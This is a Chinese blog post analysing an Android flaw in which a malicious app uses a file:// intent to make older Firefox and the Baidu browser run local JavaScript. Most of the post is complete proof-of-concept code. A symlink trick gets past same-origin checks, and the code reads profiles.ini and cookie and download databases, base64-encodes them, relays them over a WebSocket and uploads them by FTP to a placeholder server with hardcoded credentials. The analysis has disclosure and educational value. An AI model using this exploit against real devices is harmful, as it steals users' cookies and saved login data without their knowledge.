android第三方浏览器存在泄露用户隐私漏洞

本文分析了一种安卓平台上第三方浏览器的隐私泄露漏洞,恶意程序可通过发送特定指令使浏览器执行恶意HTML中的JS代码,泄露用户的账号密码等敏感信息。
漏洞危害:android平台的第三方浏览器可以泄露用户账号密码。
漏洞描述:恶意程序通过发送file类型的intent使第三方浏览器执行恶意HTML中的js代码从而泄露浏览器本地存储的cookies和保存的账号密码等敏感信息。
受影响的浏览器:firefox 24.0以下版本,百度几乎所有android浏览器。
 
漏洞细节分析(以firefox为例,我这里是以firefox如下版本为分析基础:
    android:versionCode="2012111611"
    android:versionName="17.0"
    android:installLocation="0"
    package="org.mozilla.firefox"
 
导致漏洞存在的两个因素:
第一个因素:用于打开网页的页面,存在可以接受file的intent,并且接受显示html的脚本文件,看manifest中对org.mozilla.firefox.App的申明信息,      
     
<intent-filte>
                <action android:name="android.intent.action.VIEW"></action>
                <category android:name="android.intent.category.BROWSABLE"></category>
                <category android:name="android.intent.category.DEFAULT"></category>
                <data  android:scheme="file"></data>
                <data  android:scheme="http"></data>
                <data  android:scheme="https"></data>
                <data  android:mimeType="text/html"></data>
                <data  android:mimeType="text/plain"></data>         
                <data  android:mimeType="application/xhtml+xml"></data>
 </intent-filter>
言外之意是说,当某个应用发起一个intent,形如:
            String file = "/data/data/com.example.test/dir/payload.html"
            Intent i = new Intent(Intent.ACTION_MAIN);
            File f=new File(file);
            Uri uri = Uri.fromFile(f);
            i.setClassName("org.mozilla.firefox""org.mozilla.firefox.App");
            i.addCategory(Intent.CATEGORY_BROWSABLE);
            i.addCategory(Intent.CATEGORY_DEFAULT);
            i.setData(uri);
            act.startActivity(i);
如果app将自己的payload.html所在文件和目录设置成 777 ,则外部程序也可对其可读可写可执行(这是可以实现的),则payload.html中的脚本将被执行。
第二个因素:将隐私文件存储在本地:
我们这里以firefox 17.0版本和百度浏览器 目前最新版本 android:versionCode="29" android:versionName="4.0.7.10" 为例子:
firefox将隐私比如cookies放入一个随机数字生成的目录,这本是一个很好的方式,可以让程序很难找到真正存放cookies的地方,但是在一个固定目录里面却放了一个配置文件,用于找到这个随机字符存放cookies的目录:
 

 


Path字段暴露了存放重要信息的位置。
 
百度浏览器的保存账号和密码的文件是:webview_baidu.db不过里面的内容是加密的,不过这种本地加密的方式,只要已经拿到此文件之后,我恐怕账号密码信息也是很容易得到的,下面的重点内容是通过何种方式将这些包含重要信息文件的内容取出来,并且将这些文件upload出去。
 
思路:
既然可以通过发起file:// 的intent让浏览器打开payload.html,那么可以在payload中放入一段js脚本,让这段js脚本去读取这些隐私文件,然后通过与发起intent的文件建立socket连接,从而将这些隐私数据发送给出去。
 
但是这里有两个问题需要明白,
    第一:脚本的Same Origin Policy (SOP) ,可信源策略,在这里我的理解通俗点讲就是:基于安全原因,某个域下的js脚本式不能去调用别的域脚本,在这里的情况简单的讲就是在第一次执行payload.html之里面的js脚本去再次执行或者打开其它路径的脚本和文件;
    第二:在App这个class定义的数据类型中处理mimeType类型的文件,那么sqlitedb文件,这些都不是mimeType类型,如何转换呢?为什么要考虑这个问题,先暂时不用理会,你会在后续的payload脚本中找到答案。
 
                <data  android:mimeType="text/html"></data>
                <data  android:mimeType="text/plain"></data>         
                <data  android:mimeType="application/xhtml+xml"></data>
思路出来之后,也有拦路虎。我们来逐个解决。
 
第一个问题可以利用linux的符号链接(symbolink)来解决,第二个问题则可以利用base64来对相应的数据进行解码。下面就要进入proof of content环节了:
 
在POC程序com.example.ffoxnew中设计一个ContentReceiverServer继承于WebSocketServer 类用于接收从payload获取的浏览器保存的隐私文件:
ContentReceiverServer.java
 
package com.example.ffoxnew;
 
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
 
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import org.java_websocket.WebSocket;
import org.java_websocket.handshake.ClientHandshake;
import org.java_websocket.server.WebSocketServer;
 
import android.content.Context;
import android.os.AsyncTask;
import android.util.Base64;
import android.util.Log;
 
public class ContentReceiverServer extends WebSocketServer {
 
    private static final String TAG= ContentReceiverServer.class.getSimpleName();
 
    private Context mContext;
 
    private String lastSaltedValue= null;
 
    public ContentReceiverServer(int port, Context ctx)throws UnknownHostException {
        super(new InetSocketAddress(port));
        mContext = ctx.getApplicationContext();
    }
 
    public ContentReceiverServer(InetSocketAddress address, Context ctx) {
        super(address);
        mContext = ctx.getApplicationContext();
    }
 
    @Override
    public void onOpen(WebSocket conn, ClientHandshake handshake) {
        Log.e(TAG,"onOpen");
    }
 
    @Override
    public void onMessage(WebSocket conn, String message) {
        //通过与payload命令交互
        if (message.startsWith("sym")) {
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.replaceFileWithSymlink(Utils.Firefox.PATH_PROFILES_INI, firstPayloadPath);
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            conn.send("msg1");
        } else if (message.startsWith("msg1")) {
            // profiles.ini received 8===D we parse it
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.removeStuff(firstPayloadPath);
            int startindex = message.indexOf("Path=");
            int endindex = message.indexOf(".default");
            Log.e("TAG", message);
            String salt = message.substring(startindex+5, endindex);
            Log.e(TAG, "got Salted value " + salt);
            lastSaltedValue = salt;
            String cookies = String.format(Utils.Firefox.PATH_COOKIES_FORMAT, lastSaltedValue);
            Utils.SymLinks.replaceFileWithSymlink(cookies, firstPayloadPath);
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            conn.send("msg2");
        } else if (message.startsWith("msg2")) {
            // cookies.sqlite
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.removeStuff(firstPayloadPath);
            String realMessage = message.substring(4);
            Log.e(TAG, realMessage);
 
            FTPTask ftpTask = new FTPTask();
 
            ftpTask.execute(realMessage, lastSaltedValue + "-" +"cookies.sqlite");
 
            String downloads = String.format(Utils.Firefox.PATH_DOWNLOADS_FORMAT, lastSaltedValue);
            Utils.SymLinks.replaceFileWithSymlink(downloads, firstPayloadPath);
 
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            conn.send("msg3");
 
        } else if (message.startsWith("msg3")) {
            // downloads.sqlite
            String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
            Utils.SymLinks.removeStuff(firstPayloadPath);
            try {
                // we have finished here
                this.stop();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            String realMessage = message.substring(4);
            Log.e(TAG, realMessage);
 
            FTPTask ftpTask = new FTPTask();
 
            ftpTask.execute(realMessage, lastSaltedValue + "-" +"dowloads.sqlite");
 
        }
    }
 
    @Override
    public void onClose(WebSocket conn, int code, String reason, boolean remote) {
        Log.d(TAG,"onClose");
    }
 
    @Override
    public void onError(WebSocket conn, Exception e) {
        Log.e(TAG,"onError " + e.getMessage());
        e.printStackTrace();
    }
 
    private class FTPTask extends AsyncTask<String, Void, Void> {
 
        @Override
        protected Void doInBackground(String... params) {
            // local copy
            byte[] bytes = Base64.decode(params[0], 0);
            File filesDir = mContext.getFilesDir();
            File output = new File(filesDir, params[1]);
            try {
                FileOutputStream os = new FileOutputStream(output, true);
                os.write(bytes);
                os.flush();
                os.close();
            } catch (Exception e) {
                Log.e(TAG, "Error while saving file");
            }
 
            FTPClient con = null;
 
            try
            {
                con = new FTPClient();              //连接到ftp服务器,将敏感文件上传至ftp
                con.connect("ftp.domain.com");    //改成你自己的
                if (con.login("linux_feixue","135763"))    // 改成你自己的
                {
                    con.enterLocalPassiveMode(); // important!
                    con.setFileType(FTP.BINARY_FILE_TYPE);
 
                    FileInputStream in = new FileInputStream(output);
 
                    boolean result= con.storeFile(params[1], in);
                    in.close();
                    if (result) Log.e("upload result","succeeded");
                    else Log.e("Upload result","failed");
                    con.logout();
                    con.disconnect();
                }
            }
            catch (Exception e)
            {
                e.printStackTrace();
            }
 
            return null;
        }
 
    }
}

FFoxApplication.java
 
package com.example.ffoxnew;
 
import java.io.File;
 
import com.example.ffoxnew.Utils.CMDs;
 
import android.app.Application;
import android.util.Log;
 
public class FFoxApplication extends Application {
 
    private static final String TAG= FFoxApplication.class.getSimpleName();
 
    @Override
    public void onCreate() {
        super.onCreate();
        setup();
    }
 
    private void setup() {
        Utils.WebSockets.setup();
        Utils.Misc.setup(this);
        JSPayloads.copyPayloads(this, (new File(this.getFilesDir(),JSPayloads.PAYLOAD_FOLDER)).toString());
        JSPayloads.makePayloadsReachable(this);       
        Log.e(TAG,"setup completed");
    }
 
    public void cleanup() {
        Utils.Misc.cleanup(this);
    }
}
 
JSPayloads.java
 

package com.example.ffoxnew;
 
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
 
import android.content.Context;
import android.content.res.AssetManager;
import android.os.Environment;
import android.util.Log;
 
public class JSPayloads {
 
    public static final String FIRST_PAYLOAD="payload.html";
 
    public static final String PAYLOAD_FOLDER="ff_ploads";
 
    private static ArrayList<String> payloadsList=new ArrayList<String>();
 
    static {
        payloadsList.add(FIRST_PAYLOAD);
    }
 
    public static void makePayloadsReachable(Context ctx) {
        File dir = ctx.getFilesDir();
        Utils.CMDs.cmd("chmod -R 777 " + dir.toString());
    }
 
    public static String getPathForPayload(Context ctx, String payload) {
        File filesDir = ctx.getFilesDir();
        File folder = new File(filesDir, PAYLOAD_FOLDER);
        String path = folder.toString() + "/" + payload;
        File f = new File(path);
        return path;
    }
 
    public static void copyPayloads(Context ctx, String folder) {
        AssetManager assetManager = ctx.getAssets();
        for(String filename : payloadsList) {
            InputStream in = null;
            OutputStream out = null;
            try {
              in = assetManager.open(filename);
              File outFile = new File(folder, filename);
              out = new FileOutputStream(outFile);
              copyFile(in, out);
              in.close();
              in = null;
              out.flush();
              out.close();
              out = null;
            } catch(IOException e) {
                Log.e("tag", "Failed to copy asset file: " + filename, e);
            }      
        }
    }
    private static void copyFile(InputStream in, OutputStream out)throws IOException {
        byte[] buffer = new byte[1024];
        int read;
        while((read = in.read(buffer)) != -1){
          out.write(buffer, 0, read);
        }
    }
 
}
 
Utils.java
 

package com.example.ffoxnew;
 
import java.io.File;
 
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Environment;
import android.util.Log;
 
public class Utils {
 
    public static class CMDs {
 
        public static void cmd(String command){
            try{
                String[] tmp = new String[] {"/system/bin/sh","-c", command};
                Log.e("testest", command);
                Runtime.getRuntime().exec(tmp);
            }
            catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
 
    public static class SymLinks {
 
        public static void replaceFileWithSymlink(String destination, String path) {
            //这里会删除原先的payload.html文件,
            CMDs.cmd("rm -r " + path);
            //建立符号连接,但符号连接沿用原先被删除的文件的路径,所以这里当js脚本再次load的时候,脚本依然当还是访问原先的路径名,只是由于原先的文件
            //早已经被删除了,所以这里访问的其实已经是新的文件了,神不知鬼不觉的过了AOP
            createSymLink(destination, path);
        }
 
        private static void createSymLink(String destination, String path) {
            CMDs.cmd("ln -s " + destination + " " + path);
            CMDs.cmd("chmod 777 " + path);
        }
 
        public static void removeStuff(String path) {
            CMDs.cmd("rm -rf " + path);
        }
 
 
    }
 
    public static class WebSockets {
 
        public static void setup() {
            java.lang.System.setProperty("java.net.preferIPv6Addresses","false");
            java.lang.System.setProperty("java.net.preferIPv4Stack","true");
        }
 
        public static void cleanup() {
 
        }
 
    }
 
    public static class Firefox {
 
        private static final String FF_PACKAGE="org.mozilla.firefox";
        private static final String FF_ACTIVITY="org.mozilla.firefox.App";
 
        public static final String PATH_PROFILES_INI="/data/data/"+ FF_PACKAGE+"/files/mozilla/profiles.ini";
        public static final String PATH_COOKIES_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/cookies.sqlite";
        public static final String PATH_DOWNLOADS_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/downloads.sqlite";
 
        public static void launch(Activity act, String file){
            Intent i = new Intent(Intent.ACTION_MAIN);
            File f=new File(file);
            Uri uri = Uri.fromFile(f);
            i.setClassName(FF_PACKAGE, FF_ACTIVITY);
            i.addCategory(Intent.CATEGORY_BROWSABLE);
            i.addCategory(Intent.CATEGORY_DEFAULT);
            i.setData(uri);
            act.startActivity(i);
        }
    }
 
    public static class Misc {
 
        public static void setup(Context ctx) {
            setupStorage(ctx);
        }
 
        public static void cleanup(Context ctx) {
            cleanStorage(ctx);
        }
 
        private static void setupStorage(Context ctx) {
            cleanStorage(ctx);
            File filesDir = ctx.getFilesDir();
            File payloadFolder = new File(filesDir, JSPayloads.PAYLOAD_FOLDER);
            payloadFolder.mkdir();
        }
 
        private static void cleanStorage(Context ctx) {
            File filesDir = ctx.getFilesDir();
            File payloadFolder = new File(filesDir, JSPayloads.PAYLOAD_FOLDER);
            if (payloadFolder.exists()) {
                payloadFolder.delete();
            }
        }
    }
 
}
 
MainActivity.java
 

package com.example.ffoxnew;
 
import java.net.UnknownHostException;
 
import com.example.ffoxnew.Utils.SymLinks;
 
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
 
public class MainActivity extends Activity {
 
    private static final String TAG= MainActivity.class.getSimpleName();
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
 
        try {
            startExploit();
        } catch (Exception e) {
            // Collecting all the errors in one place
            Log.e(TAG, e.getMessage());
            e.printStackTrace();
            finish();
        }
    }
 
    @Override
    protected void onDestroy() {
        super.onDestroy();
        FFoxApplication app = (FFoxApplication) getApplication();
        app.cleanup();
    }
 
    private void startExploit() throws UnknownHostException, InterruptedException {
        // starting the server to receive the salted value
        ContentReceiverServer server = new ContentReceiverServer(8887,this);
        server.start();
        // Firing the first payload
        String firstPayloadPath = JSPayloads.getPathForPayload(this, JSPayloads.FIRST_PAYLOAD);
        Utils.Firefox.launch(this, firstPayloadPath);
    }
 
}
 
com.example.ffoxnew发起intent让浏览器访问的payload.html,这段代码被放置于assets目录中,在com.example.ffoxnew运行后释放到指定的目录,且将其所在目录修改成777,之后发起intent让被攻击的浏览器去访问payload.html至此payload会同ContentReceiverServer进行通信,将隐私文件发送它,ContentReceiverServer进而将信息upload到指定的ftp服务器。
 

<script type="text/javascript">
    var ws = new WebSocket('ws://localhost:8887'); /*连接服务端,并会触发ws.open,自此与服务端的通信便开始,直至隐私文件上传完毕*/
 
    function getFile(tag) {
 
        var d = document;
 
        var xhr = new XMLHttpRequest;
 
        var txt = '';
 
        xhr.onload = function() {
 
            if (tag != 'msg1'){
                var arrayBuffer = xhr.response;
                if (arrayBuffer) {
                    var byteArray = new Uint8Array(arrayBuffer);
                    var b64encoded = btoa(String.fromCharCode.apply(null, byteArray));
                    txt = b64encoded;
                }
 
            } else {
                txt = xhr.responseText;
            }
 
            txt = tag + txt;
            alert('sending text for tag' + tag + ' ' + txt);
            ws.send(txt);
 
        };
        alert('document: ' + d.URL);
        alert('requested file for tag: ' + tag);
        if (tag != 'msg1') {
            xhr.open('GET', d.URL, true);
            xhr.responseType = "arraybuffer";
        } else {
            xhr.open('GET', d.URL);
        }
 
        xhr.send(null);
    }
 

    ws.onopen = function() {
        ws.send('sym');
    }
    ws.onmessage = function(e) {
        var tag = e.data;
        getFile(tag)
    }
    ws.onclose = function() {
 
    }
</script>
 
    至此,该类漏洞的利用原理已经分析完成了,这里面的POC并非本人所写,是Sebastián 在分析firefox漏洞时候提供的,由于csdn新手不能发链接,所以就不发了,希望这篇文章也能让你理解其中的原理,这里我只是做了相应的讲解。
话说回来,这个漏洞利用起来还是比较难的,相比weixin上次暴露出来的webview远程代码执行漏洞,还是显得比较难以利用,不过如果该漏洞被恶意程序利用来窃取窃取第三方浏览器的隐私信息倒是不无可能,目前发现百度的浏览器也存在这一问题,可能还有更多的浏览器存在类似的泄露隐私的风险。
 
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值